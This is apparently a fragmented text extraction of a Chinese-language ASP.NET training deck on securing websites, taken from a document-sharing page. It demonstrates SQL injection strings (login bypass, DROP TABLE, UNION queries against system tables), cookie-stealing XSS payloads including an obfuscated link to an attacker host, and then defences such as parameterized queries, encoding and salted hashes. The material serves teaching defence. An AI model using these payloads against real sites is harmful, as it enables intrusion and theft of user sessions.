收藏 分销(赏)

设计安全的网站系统.pptx

上传人:丰**** 文档编号:9515559 上传时间:2025-03-29 格式:PPTX 页数:62 大小:2.04MB
下载 相关 举报
设计安全的网站系统.pptx_第1页
第1页 / 共62页
设计安全的网站系统.pptx_第2页
第2页 / 共62页
点击查看更多>>
资源描述
Click to edit Master title style,Click to edit Master text styles,Second level,Third level,Fourth level,Fifth level,*,*,Slide Title,Body Text,Second level,Third level,Fourth level,Fifth level,Slide Title,Body Text,Second level,Third level,Fourth level,Fifth level,設計安全網站系統,資策會教育訓練處 王寧疆,MCAD.NET/MCSD.NET/MCT,第1页,議程,網站安全管制人人有責,預防SQL Injection攻擊法,預防Hidden Field Tampering攻擊法,預防Cross-Site Scripting攻擊法,預防Session Hijacking攻擊,網頁基本防護法,將帳號/密碼資料存放到Windows登錄資訊,第2页,網站安全管制人人有責,網頁開發者,架構工程師,系統管理員人人有責,第3页,攻擊應用程式常見手法,攻擊手法,攻擊實例,SQL injection,串連SQL敘述(比如DROP TABLE)攻擊資料庫或是資料庫中記錄。,Cross-site scripting,利用惡意JavaScript偷取網站使用者Cookie資訊,或是破壞網頁顯示資訊。,Hidden-field tampering,修改網頁隱藏欄位內容,圖謀不軌。,Eavesdropping,使用packet sniffer之類工具偷取在網路上傳送未加密資料(比如帳號、密碼、或cookies),Session hijacking,偷取網站使用者SessionID,入侵使用者Session。,Identity spoofing,利用竊得帳號和密碼冒用網站使用者身份。,Information disclosure,網站執行發生例外時讓網站使用者看到例外詳細資訊。,第4页,網頁攻擊手法與受害原因,Cross-site Scripting(XSS),受害原因,:,未對使用者輸入資料執行編碼處理,SQL Injection,受害原因,:,利用使用者輸入資料組成,SQL,敘述,Session Hijacking,受害原因,:SessionID,被猜中或,SessionID Cookie,被竊,One-click,受害原因,:,使用,Script,傳送,HTTP Post,Hidden Field tampering,受害原因,:,未對網頁中隱藏欄位內容做檢查,第5页,SQL Injection,攻擊法,SQL Injection,攻擊模式,入侵登入畫面,植入帳號,刪除資料表,偷取資料表資訊,修改資料表記錄,第6页,入侵登入畫面,欲執行,SQL,敘述,SELECT count(*)FROM Members WHERE UserName=John,AND Password=ABC,第7页,直接入侵,不良,SQL,敘述寫法,SELECT count(*)FROM Members WHERE UserName=&_,txtUserName.Text&AND Password=&_,txtPassword.Text&,在,帳號,欄位輸入以下資料就能够登入成功,:,OR 1=1,程式所執行,SQL,敘述變成,:,SELECT count(*)FROM Members WHERE UserName=,OR 1=1,And Password=,第8页,植入帳號與刪除資料表,在,帳號,欄位輸入以下資料就能够新增駭客帳號,:,;insert into Members(UserName,Password)Values(hacker,foo),權限足夠狀況下,在,帳號,欄位輸入以下資料就能够刪除,Members,資料表,:,;drop table,Members,-,第9页,不需要密碼也能够登入,在,密碼,欄位輸入以下資料就能够成功登入,:,aaa Or UserName Like%,程式所執行,SQL,敘述變成,:,SELECT count(*)FROM Members WHERE UserName=,And Password=,aaa Or UserName Like,%,第10页,利用,Url,傳遞網頁執行需要參數,localhost/GoodSupplierProduct/Products.aspx?SupplierID=,1,第11页,不良程式寫法,Dim strSQL As String=“SELECT*FROM Products,WHERE Supplierid=”,&,_,Request(SupplierID).ToString(),第12页,查詢,SQL Server,版本,在網址列輸入,:,localhost/BadSupplierProduct/Products.aspx?SupplierID=,9999 union all select null,ServiceName,null,null,version,null,null,null,null,null,第13页,讀取資料庫資料表,在網址列輸入,:,localhost/BadSupplierProduct/Products.aspx?SupplierID=,9999,union all select null,name,null,null,null,null,null,null,null,null from,sysobjects,where,xtype=u,資,料,表,名,稱,第14页,讀取資料表欄位,在網址列輸入,:,localhost/BadSupplierProduct/Products.aspx?SupplierID=,9999,union all select null,name,null,null,null,null,null,null,null,null from,syscolumns,where id=,object_id(Products),and,colid=1,欄,位,名,稱,第15页,修改資料表記錄,在網址列輸入,:,localhost/BadSupplierProduct/Products.aspx?SupplierID=,9999,;,update Products set UnitPrice=1 Where ProductID=1,第16页,防堵,SQL Injection,攻擊基本原則,(,一,),將使用者輸入資料當做參數傳給,SQL,敘述或,Stored Procedure,SQL,敘述或是,Stored Procedure,中使用,EXEC,敘述執行使用者輸入內容需更進一步防範,假如無法將使用者輸入資料當做參數傳給,SQL,敘述或,Stored Procedure,使用,Regular Expression,驗証使用者輸入資料格式,限制使用者輸入資料長度,限制使用者登入資料庫帳號權限,去除使用者輸入資料中,“,-,”(SQL,敘述註解,),將使用者輸入單引號置換成雙引號,第17页,將使用者輸入單引號置換成雙引號效果,比如原本欲執行,SQL,敘述為,:,Select count(*)from Members where UserName=,John,And Password=ABC,使用者在,UserName,欄位輸入,Or 1=1-,未將使用者輸入單引號置換成雙引號,上述,SQL,敘述執行結果為,Members,資料表,總筆數,將使用者輸入單引號置換成雙引號,上述,SQL,敘述執行結果為,0,第18页,防堵,SQL Injection,攻擊基本原則,(,二,),限制應用程式或網頁只能擁有執行,Stored Procedure,權限,不能直接存取資料庫中,Table,和,View,使用,Windows,整合安全模式,登入資料庫,防止使用系統管理員身份登入資料庫,設定,TextBox,欄位,MaxLength,屬性,加強對資料庫操作稽核,第19页,Hidden Field Tampering,攻擊法,Hidden Field Tampering,攻擊模式,把,HTML Form,存到硬碟,竄改,Hidden,欄位內容值,將竄改過,Form,重送到,Web Server,第20页,BadM,使用隱藏欄位在網頁中傳遞資料,第21页,隱藏欄位中資料被竄改情形,檢視帶有隱藏欄位網頁,原始檔,另存新,HTML,檔案,修改存檔內容,使用,IE,開啟另存,HTML,檔案,執行,Submit,竄改成,1,第22页,阻擋,Hidden Field Tampering,攻擊方法,檢查,HTTP_REFERER,內容,讀取,HttpWebRequest,類別,Headers,集合,Referer,成員,If,Request.ServerVariables(HTTP_REFERER)Is Nothing,Then,Label1.Text=Catch You!,Else,Label1.Text=,完成扣款,:&Request(Price)&,元,!,End If,使用,Message Digest,自己做,使用,Server Control,啟用,ViewState,主要資訊不要存放在,Hidden Field,第23页,Cross-Site Scripting,攻擊法,Web,應用程式最常見漏洞之一,曾經受害著名網站眾多,包含,:FBI.gov,CNN.com,T,Ebay,Yahoo,Apple computer,Microsoft,Zdnet,Wired,與,Newsbytes,每個月約有,1025,個網站被發現有,XSS,漏洞,eWeek OpenHack,大賽得主找到兩個,XSS,弱點,常受,XXS,攻擊網頁,:,搜尋網頁,討論群,留言板,登入畫面,.,Cross-Site Scripting,攻擊模式,竊取網頁使用者個人資料,(,包含,SessionID,Cookies),重導網頁,破壞網頁顯示內容,(,改變顯示文字和圖形,),執行無窮迴圈,第24页,Cross-Site Scripting,攻擊手法,document.location.href=;,第25页,偷取,Cookie,做法,提供誘之以利網頁,.,.,取得超連結網址,Cookie,第26页,誘騙點選危險郵件,Click,目標網站,第27页,透過中間網頁傳送,Cookie,到駭客網頁,MiddlePage.aspx,idForm.cookie.value=,document.cookie,;,idForm.submit();,第28页,阻擋,Cross-Site Scripting,攻擊錯誤方法,檢查使用者輸入資料是否內含,無法防範以下攻擊,:,var strUserName=Request.QueryString(Name);,);,使用者輸入,:,Freddy);alert(document.cookie);,第29页,各種,Cross-Site Scripting,攻擊方法,(,一,),&,code,&,code,;,第30页,各種,Cross-Site Scripting,攻擊方法,(,二,),code,code,code,/-,code,/-,第31页,各種,Cross-Site Scripting,攻擊方法,(,三,),code,code,onmouseover=,code,script,code,xC0 xBCscript,code,xC0 xBC/script,第32页,各種,Cross-Site Scripting,攻擊方法,(,四,),隱藏超連結中惡意,Script,Check this CNN story out!,第33页,各種,Cross-Site Scripting,攻擊方法,(,五,),a,href=“u=String.fromCharCode(0 x0068);u%2B=,String.fromCharCode(0 x0074);u%2B=String.fromCharCode(0 x0074);,u%2B=String.fromCharCode(0 x0070);u%2B=String.fromCharCode(0 x003A);,u%2B=String.fromCharCode(0 x002F);u%2B=String.fromCharCode(0 x002F);,u%2B=String.fromCharCode(0 x0061);u%2B=String.fromCharCode(0 x0074);,u%2B=String.fromCharCode(0 x0074);u%2B=String.fromCharCode(0 x0061);,u%2B=String.fromCharCode(0 x0063);u%2B=String.fromCharCode(0 x006B);,u%2B=String.fromCharCode(0 x0065);u%2B=String.fromCharCode(0 x0072);,u%2B=String.fromCharCode(0 x002E);u%2B=String.fromCharCode(0 x0063);,u%2B=String.fromCharCode(0 x006F);u%2B=String.fromCharCode(0 x006D);,u%2B=String.fromCharCode(0 x002F);u%2B=String.fromCharCode(0 x0073);,u%2B=String.fromCharCode(0 x0074);u%2B=String.fromCharCode(0 x0065);,u%2B=String.fromCharCode(0 x0061);u%2B=String.fromCharCode(0 x006C);,u%2B=String.fromCharCode(0 x002E);u%2B=String.fromCharCode(0 x0063);,u%2B=String.fromCharCode(0 x0067);u%2B=String.fromCharCode(0 x0069);,u%2B=String.fromCharCode(0 x003F);u%2B=,Scripting,攻擊正確方法,不要把,Page,ValidateRequest,屬性設定成,False,特殊狀況,:,允許使用者傳送電子賀卡時加一段,HTML,格式訊息,或是允許使用者傳送,HTML,格式文件,比如,Email,或討論群發佈訊息,不信任使用者輸入資料,:TextBox,Url,Cookie,HTTP Header,加入編碼,使用,HttpUtility,類別,HtmlEncode,方法,/UrlEncode,方法,處理使用者輸入資料,屬性和事件最好使用雙引號包起來,設定,TextBox,控制項,MaxLength,屬性,對,Cookie,資料加密,了解駭客各種攻擊手法,%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E,alert(document.cookie),第35页,面對,Cross-Site Scripting,使用者自保方法,禁用,IE,Script,功效,將,IE,安全性設定,高安全性,不要亂按,Email,中超連結,不要亂按不信任網站中超連結,直接瀏覽存放有主要資訊網站,不要透過,Third Party,網站超連結來瀏覽,盡量不要瀏覽曾遭駭客攻擊網站,第36页,Session Hijacking,攻擊,Session Hijacking,攻擊模式,猜測,SessionID/,竊取,SessionID Cookie,小心使用,Cookieless Session,冒用受害人身份,-Identity Spoofing,第37页,阻擋,Session Hijacking,攻擊方法,主要資料不要存放在,Cookie,中,使用,ASP.NET,預設,120-bit SessionID,使用,SSL(Secure Socket Layer),保護,SessionID Cookie(,非,100%,安全,),縮短,Session,效期,(,預設為,20,分鐘,),假如,Session,存放在,ASP.NET State,服務,記得關閉,Port,42424,不對外,假如,Session,存放在,SQL Server,服務,記得關閉,Port,1433,和,Port 1434,不對外,對,SessionID,資料執行雜湊處理,第38页,Web Server1,Web Server2,Web Farm,SQL,Server,Windows,Server,Port:42424,Port:1433,1434,sessionState,設定與安全管制,sessionState,設定,:Off,InProc,(,預設值,),SQLServer,StateServer,sessionState=SQLServer,sessionState=StateServer,第39页,對,SessionID,雜湊處理,(,一,),使用,HttpHandler,和,HttpModule,攔截進出,Web Server,訊息,HttpModule1,HttpModule2,HttpModuleN,.,.,HttpHandler1,HttpHandlerN,.,訊息,訊息,第40页,對,SessionID,雜湊處理,(,二,),SecureSessionID,SessionStateModule,SessionID,SessionID+MAC,第一次,Request,SecureSessionID,SessionStateModule,SessionID,SessionID+MAC,第二次,Request,檢查失敗,引發例外,第41页,對,SessionID,雜湊處理,(,三,),第42页,製作執行雜湊,HttpModule(,四,),Imports System.Web,Imports System.Configuration,Imports System.Text,Imports System.Security.Cryptography,Imports System.IO,Public Class AppendMACSessionID,Implements IHttpModule,Public Sub Init(ByVal context As System.Web.HttpApplication)_,Implements System.Web.IHttpModule.Init,AddHandler context.BeginRequest,AddressOf OnBeginRequest,AddHandler context.EndRequest,AddressOf OnEndRequest,End Sub,End Class,第43页,處理,BeginRequest,事件,(,五,),Private Sub OnBeginRequest(ByVal sender As Object,ByVal e As EventArgs),Dim Request As HttpRequest=CType(sender,HttpApplication).Request,Dim Cookie As HttpCookie=,FindCookie(Request.Cookies,ASP.NET_SessionId),If Not Cookie Is Nothing Then,If Cookie.Value.Length=24 Then,Throw New Exception(,拒絕存取,),End If,Dim id As String=Cookie.Value.Substring(0,24),Dim mac1 As String=Cookie.Value.Substring(24),Dim mac2 As String=,GenerateMac(id,Request.UserHostAddress,Request.UserAgent),If String.CompareOrdinal(mac1,mac2)0 Then,Throw New Exception(,拒絕存取,),End If,Cookie.Value=id,End If,End Sub,第44页,處理,EndRequest,事件,(,六,),Private Sub OnEndRequest(ByVal sender As Object,ByVal e As _EventArgs),Dim request As HttpRequest=CType(sender,_ HttpApplication).Request,Dim cookie As HttpCookie=,FindCookie(CType(sender,_ HttpApplication).Response.Cookies,ASP.NET_SessionId),If Not cookie Is Nothing Then,cookie.Value=cookie.Value&GenerateMac(cookie.Value,_ request.UserHostAddress,request.UserAgent),End If,End Sub,第45页,網頁基本防護法,使用者輸入資料必須驗証後再使用,使用權限較低帳號登入資料庫並進行操作,並依據使用者角色區分權限,全部資料庫操作都經由,Stored Procedure,或,Parameterized Query,進行操作,機密資料必須加密後才經由網路傳送,或是乾脆存放在伺服器上,並做好保護,儲存在資料庫中密碼要做好加密,驗証使用者身份,強制要求使用,Strong Password,將,web.config,設定檔中帳號,/,密碼資料存到,Windows,登錄資訊中,關閉網站,Trace,和,Debug,功效,防止使用,Cookieless Session,第46页,驗証使用者輸入資料,ValidateRequest,屬性,預設值為,True,當網站需要讓使用者輸入,javascript,語法時,(,比如討論群或搜尋網頁,),必須設定為,False,HttpUtility,類別,UrlEncode/HtmlEncode,方法將使用者輸入資料編碼,善用,Regular Expression,驗証使用者是否輸入正当資料,第47页,安全資料庫操作方法,使用,Stored Procedure,或,Parameterized Query,對資料庫進行操作,Dim strConn As String=,Dim strSQL As String=Member_Insert,Dim conn As SqlConnection=New SqlConnection(strConn),Dim cmd As SqlCommand=New SqlCommand(strSQL,conn),cmd.CommandType=CommandType.StoredProcedure,Dim p1 As SqlParameter=New SqlParameter(UserName,_,SqlDbType.NVarChar,16),p1.Direction=ParameterDirection.Input,p1.Value=txtUserName.Text,cmd.Parameters.Add(p1),conn.Open(),Dim num As Integer=cmd.ExecuteNonQuery(),MessageBox.Show(num&,筆記錄新增成功,!),cmd.Dispose(),conn.Close(),conn.Dispose(),第48页,對機密資料加密,對稱式加密法,效能良好,非對稱式加密法,安全性佳,雜湊加密法,不可還原,(One-Way),第49页,鍵盤,輸入密碼,(,ABCD,),密碼,:,ABCD,DB,看懂,未對存放到資料庫中密碼執行加密,銀行櫃員,申請帳戶加密碼客戶,不安全做法,第50页,鍵盤,輸入密碼,(,ABCD,),密碼,:,7A#BF,DB,看不懂,不可還原加密處理,對存放到資料庫中密碼執行加密,銀行櫃員,申請帳戶加密碼客戶,安全做法,第51页,Hash,加密問題,相同密碼經過,Hash,演算法加密之後會得到相同結果,(,不夠安全做法,),無法防範,dictionary attack,5753A498F025464D72E088A9D5D6E872592D5F91,使用者密碼,:,John,經過,SHA1,雜湊法處理後結果,字典,Jack,John,把字典字一一取出做,SHA1,雜湊處理,Bingo,第52页,解決方法,強迫使用者使用,Strong Password,使用者第一個受害,程式設計師第二個受害,使用改良式,Hash,加密法為密碼加密,Salted Hash,Hash+,亂數,=Salted Hash,1.,使用,Random,類別產生,2.,使用,RNGCryptoServiceProvider,類別產生,第53页,建立,Salted Hashes,Dim rng As RNGCryptoServiceProvider=_,New RNGCryptoServiceProvider,Dim buf(15)As Byte,rng.GetBytes(buf),Dim salt As String=_,Convert.ToBase64String(buf),cmdSaltedHash.Parameters(UserName).Value=_,txtUserName.Text,cmdSaltedHash.Parameters(Password).Value=_,FormsAuthentication.HashPasswordForStoring,InConfigFile,(,salt,&,txtPassword.Text,sha1),cmdSaltedHash.Parameters(Salt).Value=salt,第54页,使用,Regular Expression,驗証,Strong Password,Imports System.Text.RegularExpressions,If Regex.IsMatch(txtPassword.Text,_,(?=.*d),(?=.*a-z),(?=.*A-Z),&_,“,(?=.*-+?*$.()|!#%,/),.,8,1,6,$)Then,MessageBox.Show(正確!),Else,MessageBox.Show(錯誤!),End If,第55页,將帳,號/,密碼資料存,放到,Windows登錄資訊,使用,Windows NT,整合安全模式連線資料庫,連線資料庫資訊中不會出現帳號和密碼資訊,在,Web.config,中設定登入資料庫,Windows,帳號和密碼,將,web.config,檔案中,UserName,Password,儲存到,Windows,登錄資訊中,第56页,步驟,下載並安裝,aspnet_setreg.exe,程式,(,k:software,ASP.NET Web,應用程式名稱,Identity,-u:,帳號,-p:,密碼,修改,Web.config,加入,標籤,第57页,步驟,(,續,),在網頁執行所在,Windows,伺服器上建立網頁執行欲使用帳號,(,帳號和密碼必須和使用,aspnet_setreg,登記帳號和密碼相同,),附予,Web,應用程式欲執行身份對,c:Windows,目錄,Microsoft.NETFramework,版本,Temporary ASP.NET Files,目錄完全控制權限,必須附予,ASPNET(IIS 5.0),帳號或,Network Service(IIS 6.0),帳號對以下鍵讀取權限,:,HKEY_LOCALMACHINEsoftwareWebApplication1IdentityASPNET_SETREG,附予,ASP.NET,網頁應用程式執行使用身份登入和使用資料庫權限,第58页,關閉網站,Trace,和,Debug,功效,關閉,Trace,功效,關閉,Debug,功效,調整,customErrors,設定,第59页,防止使用,Cookieless Session,第60页,參考資料,Write Secure Code,ASP.NET Security:8 Ways to Avoid Attack,Improving Web Application Security:Threats and Countermeasures,Secure Architecture Design Methodologies,When Output Turns Bad:Cross-Site Scripting Explained,第61页,範例下載,台灣微軟網站,
展开阅读全文

开通  VIP会员、SVIP会员  优惠大
下载10份以上建议开通VIP会员
下载20份以上建议开通SVIP会员


开通VIP      成为共赢上传
相似文档                                   自信AI助手自信AI助手

当前位置:首页 > 包罗万象 > 大杂烩

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        抽奖活动

©2010-2025 宁波自信网络信息技术有限公司  版权所有

客服电话:4009-655-100  投诉/维权电话:18658249818

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :微信公众号    抖音    微博    LOFTER 

客服